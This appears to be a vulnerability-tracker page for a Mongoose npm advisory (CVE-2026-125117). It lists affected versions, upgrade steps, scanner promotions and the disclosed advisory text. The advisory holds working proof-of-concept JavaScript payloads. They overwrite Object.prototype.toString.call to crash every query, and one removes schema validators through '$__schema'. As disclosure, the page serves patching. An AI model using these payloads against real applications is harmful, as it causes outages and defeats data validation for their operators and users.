Mongoose walks into inherited properties when hydrating, setting, and merging, allowing overwrites of built-in functions (denial of service) and shared schema state
CVE-2026-125117 · GHSA-8332-j7wj-wjw4 · EUVD-2026-120498 · published 9 Nov 2026
How serious is it
- Severity: high, CVSS score 8.2 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-125117?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
mongoose(npm) < 6.13.12mongoose(npm) >= 7.0.0, < 7.8.13mongoose(npm) >= 8.0.0, < 8.24.7mongoose(npm) >= 9.0.0, < 9.11.4
How to check
- Run
npm ls mongoosein your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- On < 6.13.12: Upgrade
mongooseto 6.13.12 or later, commit the lockfile and redeploy. - On >= 7.0.0, < 7.8.13: Upgrade
mongooseto 7.8.13 or later, commit the lockfile and redeploy. - On >= 8.0.0, < 8.24.7: Upgrade
mongooseto 8.24.7 or later, commit the lockfile and redeploy. - On >= 9.0.0, < 9.11.4: Upgrade
mongooseto 9.11.4 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
Three Mongoose code paths copy data into objects by property name without checking whether the property is the object's own or inherited from its prototype:
1. Loading a document from the database (`init()`, also used by `Model.hydrate()`)
2. Setting a dotted path on a document (`$__set`, used by `new Model(obj)`, `doc.set()` and `doc.$set()`)
3. Merging update documents (`utils.mergeClone`, used by `findOneAndReplace()`, chained update calls and `Query.prototype.merge()`)
When a key names an inherited property, such as `toString` or `valueOf`, or a document internal such as `$__schema`, Mongoose writes into the shared object behind that property. The data comes from the attacker.
- **Denial of service.** For example, `{ "toString": { "call": 1 } }` overwrites `Object.prototype.toString.call`. Mongoose and most other libraries rely on `Object.prototype.toString.call()`. After the overwrite, every later query in the process throws `TypeError: _toString.call is not a function` until the process restarts. This includes queries on unrelated models.
- **Changing shared schema state.** Through a subdocument with `strict: false`, a path such as `profile.$__schema.paths.email.validators` reaches the subdocument's schema, which every document shares. Setting it to `[]` removes the `required` validator for every document in the process.
Mongoose already blocked `__proto__`, `constructor` and `prototype`, so these bugs cannot add properties to `Object.prototype` itself. They can still overwrite methods and properties of shared built-in functions and of Mongoose's internal objects.
### Details
#### 1. Loading documents: `init()`
```js
if (!schemaType && utils.isPOJO(value)) {
// assume nested object
if (!doc[i]) { doc[i] = {}; ... }
init(self, value, doc[i], opts, path + '.');
}
```
For a stored field named `toString`, `doc[i]` is the inherited `Object.prototype.toString`. It is truthy, so `init()` recurses into that function and copies the stored subfields onto it.
This runs for every document Mongoose loads: `find()`, `findOne()`, cursors, populated documents and `Model.hydrate()`. It runs whatever the `strict` setting, and it applies to top-level and nested paths alike. `lean()` queries are not affected.
A malicious document can get into the collection in several ways:
- through a model with `strict: false`, for example `new Model(req.body).save()`;
- through another application or the raw MongoDB driver;
- through any update that writes arbitrary keys.
#### 2. Setting dotted paths: `$__set`
When it walks a dotted path, `$__set` read `obj[parts[i]]` and descended into whatever it found. That included inherited functions, such as `Object.prototype.toString` on a plain object or `Document.prototype.toObject` on a subdocument. On subdocuments it also included non-function internals that are prototype getters, such as `$__schema`, `schema`, `$__middleware` and `$__schemaTypeOptions`. Those point at objects that every document of the model shares.
Attacker-controlled input reaches this path through:
- **A `Mixed` path on a default, strict schema:** `new Model({ "mixed.toString.call": 1 })`, or `doc.set({ "mixed.toString.call": 1 })`. Nothing needs to be saved.
- **Any root path on a schema with `strict: false`:** for example `doc.set('toString.call', 1)`.
- **A subdocument with `strict: false`**, when the application passes a user-controlled path to `doc.set(path, value)`: for example `doc.set('profile.$__schema.paths.email.validators', [])`.
#### 3. Merging updates: `utils.mergeClone`
```js
if (typeof to[key] === 'undefined') {
to[key] = clone(fromObj[key]);
} else if (isObject(val)) {
mergeClone(to[key], val); // to[key] may be an inherited built-in
}
```
`to[key]` was read without an own-property check, so a key such as `toString` recursed into `Object.prototype.toString`. This affects:
- **`Model.findOneAndReplace(filter, replacement)`.** It always merges the replacement into the query's update, so a single call with an untrusted replacement is enough.
- **Update calls chained onto a query that already has an update.** For example `Model.updateOne(filter, { $set: {...} }).updateOne({}, untrustedUpdate)`, the same pattern with `findOneAndUpdate()`, or middleware that calls `this.updateOne(...)`.
- **`Query.prototype.merge()`** with a source query whose update came from untrusted input.
### Proof of concept
```js
const mongoose = require('mongoose');
const { Schema } = mongoose;
// 2. Setting dotted paths: a Mixed path on a default strict schema, nothing saved
const Item = mongoose.model('Item', new Schema({ name: String, meta: {} }));
new Item(JSON.parse('{"meta.toString.call": 1}')); // e.g. new Item(req.body)
console.log(typeof Object.prototype.toString.call); // 'number'
// From here on, every query in the process fails:
// TypeError: _toString.call is not a function
```
```js
// 1. Loading documents: a stored field named after an Object.prototype method
const Loose = mongoose.model('Loose', new Schema({ name: String }, { strict: false }));
await new Loose(JSON.parse('{"name":"evil","toString":{"call":1}}')).save();
await Loose.findOne({ name: 'evil' }); // any later read of this document
await OtherModel.findOne(); // TypeError: _toString.call is not a function
```
```js
// 3. Merging updates: a single findOneAndReplace() call with an untrusted replacement
const Doc = mongoose.model('Doc', new Schema({ name: String }));
Doc.findOneAndReplace({}, JSON.parse('{"toString":{"call":1}}'));
console.log(typeof Object.prototype.toString.call); // 'number'
```
```js
// 2. Setting dotted paths: changing the shared subdocument schema
const User = mongoose.model('User', new Schema({
profile: new Schema({ email: { type: String, required: true } }, { strict: false })
}));
// e.g. JSON-patch style endpoint: doc.set(req.body.path, req.body.value)
new User({ profile: { email: 'a@b.c' } }).set('profile.$__schema.paths.email.v…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/Automattic/mongoose/security/advisories/GHSA-8332-j7wj-wjw4
- github.com/Automattic/mongoose/commit/18b5513dd463731a2caf0d3395ef1d9eb0735f50
- github.com/Automattic/mongoose/commit/2a195d19a4dd240f039a0a226614d5804e8187ee
- github.com/Automattic/mongoose/commit/3cb702b8d079c3e267f0b10f41673a1590f703c8
- github.com/Automattic/mongoose/commit/85cf897105edfeb5f56be42a18a68704434cac82
- github.com/Automattic/mongoose/commit/8cee51beead554df1f3d05645edb439c69eb2a9b
- github.com/Automattic/mongoose/commit/8eb74cb4a550cbe0225963b07aebacbd999d4b74
- github.com/Automattic/mongoose/releases/tag/6.13.12
- github.com/Automattic/mongoose/releases/tag/7.8.13
- github.com/Automattic/mongoose/releases/tag/8.24.7
- github.com/Automattic/mongoose/releases/tag/9.11.4
- nvd.nist.gov/vuln/detail/CVE-2026-125117
- github.com/advisories/GHSA-8332-j7wj-wjw4
- github.com/Automattic/mongoose
Merged from ENISA EUVD, GitHub Advisory Database, OSV. Last updated 11 Nov 2026. All vulnerabilities · RSS · JSON